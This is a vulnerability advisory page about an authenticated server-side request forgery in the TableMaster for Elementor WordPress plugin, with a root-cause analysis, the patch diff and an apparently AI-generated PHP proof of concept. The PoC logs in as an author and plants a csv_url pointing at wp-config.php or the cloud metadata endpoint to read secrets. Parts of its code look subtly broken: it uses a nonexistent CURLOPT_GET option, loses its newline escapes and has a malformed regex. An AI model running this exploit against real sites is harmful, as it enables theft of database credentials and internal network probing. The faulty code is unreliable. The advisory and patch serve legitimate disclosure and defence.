Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14610: TableMaster for Elementor <= 1.3.6 – Authenticated (Author+) Server-Side Request Forgery via 'csv_url' Parameter (tablemaster-for-elementor)

Severity High (CVSS 7.2)
CWE 918
Vulnerable Version 1.3.6
Patched Version 1.3.8
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14610:
This vulnerability is an authenticated Server-Side Request Forgery (SSRF) in the TableMaster for Elementor WordPress plugin. The flaw exists in the Data Table widget’s CSV import functionality, allowing users with Author-level permissions or higher to force the plugin to make arbitrary HTTP requests. The CVSS score of 7.2 reflects the high impact of internal network probing and local file disclosure.

Atomic Edge research identifies the root cause in the `get_csv_data` function within `/modules/data-table/widgets/data-table.php`. Prior to version 1.3.7, the function processed the `csv_url` user parameter without sufficient validation. The vulnerable code at lines 437-439 used `esc_url_raw` on the user-supplied URL and then passed it directly to `wp_remote_get`. This function lacks built-in protections against internal network targets. The plugin performed no hostname resolution, IP range validation, or Content-Type checking, enabling requests to any reachable endpoint.

Exploitation requires an authenticated attacker with at least Author-level access to the WordPress site. The attacker must create or edit a post using the Elementor page builder, add a Data Table widget, and configure it to use a URL as the CSV source. The attacker then supplies a malicious URL in the `csv_url` parameter. This URL can target internal services, localhost, or file paths like `file:///var/www/html/wp-config.php`. When the page is saved or previewed, the plugin’s backend fetches the supplied URL, returning the response content to the attacker.

The patch introduces a new validation method, `is_safe_external_url`, and replaces the insecure `wp_remote_get` call with `wp_safe_remote_get`. The `is_safe_external_url` function performs multiple checks. It validates the URL structure, restricts the scheme to HTTP or HTTPS, blocks the hostnames `localhost` and `127.0.0.1`, resolves the hostname to an IP address, and filters out private and reserved IP ranges using `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE`. The patched code also adds a Content-Type header check to ensure responses are text-based. These changes collectively prevent requests to internal network segments and local services.

Successful exploitation grants attackers the ability to read sensitive files from the web server, such as `wp-config.php` containing database credentials and secret keys. Attackers can also probe internal network services, potentially accessing metadata endpoints, administrative interfaces, or other non-public applications. This can lead to full site compromise, database access, and lateral movement within the hosting environment.

Differential between vulnerable and patched code

Code Diff
--- a/tablemaster-for-elementor/classes/class-tabmel-admin-settings.php
+++ b/tablemaster-for-elementor/classes/class-tabmel-admin-settings.php
@@ -207,7 +207,11 @@
 		$func        = __CLASS__ . '::render';

 		if ( current_user_can( 'manage_options' ) ) {
-			add_submenu_page( 'elementor', $title, $title, $cap, $slug, $func );
+			if ( version_compare( ELEMENTOR_VERSION, '3.35.0-beta1', '>=' ) ) {
+				add_submenu_page( 'elementor-home', $title, $title, $cap, $slug, $func );
+			} else {
+				add_submenu_page( 'elementor', $title, $title, $cap, $slug, $func );
+			}
 		}
 	}

--- a/tablemaster-for-elementor/modules/data-table/widgets/data-table.php
+++ b/tablemaster-for-elementor/modules/data-table/widgets/data-table.php
@@ -326,6 +326,56 @@
 	}

 	/**
+	 * Validate external URLs to prevent SSRF.
+	 *
+	 * @since 1.3.7
+	 * @param string $url
+	 * @return bool
+	 */
+	protected function is_safe_external_url( $url ) {
+
+		if ( empty( $url ) ) {
+			return false;
+		}
+
+		$url = esc_url_raw( $url );
+
+		if ( ! wp_http_validate_url( $url ) ) {
+			return false;
+		}
+
+		$parts = wp_parse_url( $url );
+
+		if ( empty( $parts['scheme'] ) || ! in_array( $parts['scheme'], [ 'http', 'https' ], true ) ) {
+			return false;
+		}
+
+		if ( empty( $parts['host'] ) ) {
+			return false;
+		}
+
+		$host = strtolower( $parts['host'] );
+
+		// Block localhost & common internal hosts
+		if ( in_array( $host, [ 'localhost', '127.0.0.1' ], true ) ) {
+			return false;
+		}
+
+		// Resolve IP and block private ranges
+		$ip = gethostbyname( $host );
+
+		if ( filter_var(
+			$ip,
+			FILTER_VALIDATE_IP,
+			FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
+		) === false ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
 	 * Try to detect CSV delimiter from a short sample.
 	 *
 	 * @param string $sample
@@ -434,20 +484,33 @@
 				}
 				$data[] = $file_row;
 			}
+
 			fclose( $_file );

 		// URL
 		} elseif ( 'url' === $csv_source ) {
-			$csv_url = esc_url_raw( (string) ( $settings['csv_url'] ?? '' ) );
-			if ( '' === $csv_url ) {
+			$csv_url = (string) ( $settings['csv_url'] ?? '' );
+
+			if ( ! $this->is_safe_external_url( $csv_url ) ) {
 				return $invalid_return;
 			}

-			$response = wp_remote_get( $csv_url, [ 'sslverify' => false, 'timeout' => 20 ] );
+			$response = wp_safe_remote_get(
+				$csv_url,
+				[
+					'timeout' => 15,
+				]
+			);
+
 			if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) {
 				return $invalid_return;
 			}

+			$content_type = wp_remote_retrieve_header( $response, 'content-type' );
+			if ( $content_type && ! str_contains( $content_type, 'text' ) && ! str_contains( $content_type, 'csv' ) ) {
+				return $invalid_return;
+			}
+
 			$body = (string) wp_remote_retrieve_body( $response );
 			if ( '' === $body ) {
 				return $invalid_return;
@@ -586,14 +649,19 @@

 			$json_url = esc_url_raw( $json_url );

-			if ( empty( $json_url ) ) {
+			if ( ! $this->is_safe_external_url( $json_url ) ) {
 				return [
 					'head' => [],
 					'body' => [],
 				];
 			}

-			$response = wp_remote_get( $json_url, [ 'sslverify' => false ] );
+			$response = wp_safe_remote_get(
+				$json_url,
+				[
+					'timeout' => 15,
+				]
+			);

 			if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) {
 				return [
--- a/tablemaster-for-elementor/tablemaster-for-elementor.php
+++ b/tablemaster-for-elementor/tablemaster-for-elementor.php
@@ -3,7 +3,7 @@
  * Plugin Name: TableMaster for Elementor
  * Plugin URI: https://www.bloompixel.com
  * Description: TableMaster for Elementor is the ultimate table builder that lets you design dynamic, responsive tables visually without writing code.
- * Version: 1.3.6
+ * Version: 1.3.8
  * Author: BloomPixel
  * Author URI: https://www.bloompixel.com
  * License: GNU General Public License v2.0
@@ -11,15 +11,15 @@
  * Text Domain: tablemaster
  * Domain Path: /languages
  * Requires Plugins: elementor
- * Elementor tested up to: 3.34.0
- * Elementor Pro tested up to: 3.34.0
+ * Elementor tested up to: 3.35.0
+ * Elementor Pro tested up to: 3.35.0
  *
  * @package TABLEMASTER
  */

 if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

-define( 'TABMEL_VER', '1.3.6' );
+define( 'TABMEL_VER', '1.3.8' );
 define( 'TABMEL_PATH', plugin_dir_path( __FILE__ ) );
 define( 'TABMEL_BASE', plugin_basename( __FILE__ ) );
 define( 'TABMEL_URL', plugins_url( '/', __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14610 - TableMaster for Elementor <= 1.3.6 - Authenticated (Author+) Server-Side Request Forgery via 'csv_url' Parameter

<?php

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';

// Malicious URL for the plugin to fetch. This targets the local wp-config.php file.
$exploit_csv_url = 'file:///var/www/html/wp-config.php';
// Alternative target for internal network probing:
// $exploit_csv_url = 'http://169.254.169.254/latest/meta-data/';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);

// Check for login success by looking for the admin dashboard link
if (strpos($login_response, 'wp-admin') === false) {
    die('[-] Login failed. Check credentials.');
}
echo '[+] Successfully logged in.n';

// Step 1: Create a new post via the REST API to get a post ID for Elementor editing
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    'title' => 'Test Post for SSRF',
    'status' => 'draft',
    'content' => 'SSRF test.'
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
$post_response = curl_exec($ch);
$post_data = json_decode($post_response, true);
if (empty($post_data['id'])) {
    die('[-] Failed to create post.');
}
$post_id = $post_data['id'];
echo '[+] Created draft post ID: ' . $post_id . 'n';

// Step 2: Load the Elementor editor for this post to obtain a nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=elementor');
curl_setopt($ch, CURLOPT_GET, 1);
$editor_page = curl_exec($ch);

// Extract the Elementor nonce (often found in a script tag)
preg_match('/"nonce":"([a-f0-9]+)"/', $editor_page, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('[-] Could not extract Elementor nonce.');
}
$elementor_nonce = $nonce_matches[1];
echo '[+] Extracted Elementor nonce: ' . $elementor_nonce . 'n';

// Step 3: Construct a request to save a Data Table widget with the malicious csv_url.
// This simulates the AJAX request made when saving widget settings in the editor.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$widget_data = [
    'action' => 'elementor_ajax',
    '_nonce' => $elementor_nonce,
    'actions' => json_encode([
        'action_id' => 'save_builder',
        'data' => [
            'elements' => [[
                'id' => 'test_widget_id',
                'elType' => 'widget',
                'settings' => [
                    'csv_source' => 'url',
                    'csv_url' => $exploit_csv_url // The malicious parameter
                ],
                'widgetType' => 'tabmel-data-table'
            ]],
            'post_id' => $post_id
        ]
    ])
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($widget_data));
$ajax_response = curl_exec($ch);
echo '[+] Sent widget save request.n';

// Step 4: Trigger the CSV parsing by previewing the post or fetching the table data.
// This request triggers the plugin's get_csv_data function.
$preview_url = $target_url . '/?p=' . $post_id . '&elementor-preview=yes';
curl_setopt($ch, CURLOPT_URL, $preview_url);
curl_setopt($ch, CURLOPT_GET, 1);
$preview_output = curl_exec($ch);

// Search the preview output for data that was fetched from the malicious URL.
if (strpos($preview_output, 'DB_NAME') !== false || strpos($preview_output, '<?php') !== false) {
    echo '[+] SUCCESS: Potentially sensitive data (wp-config.php) found in page output.n';
    // Extract a sample of the output
    preg_match('/<table[^>]*>(.*?)</table>/s', $preview_output, $table_match);
    if (!empty($table_match[0])) {
        echo 'Sample of extracted table HTML (first 500 chars):n';
        echo substr($table_match[0], 0, 500) . 'n';
    }
} else {
    echo '[-] No obvious sensitive data found in preview. The request may have failed or the output is encoded.n';
    echo 'Preview page length: ' . strlen($preview_output) . ' bytesn';
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School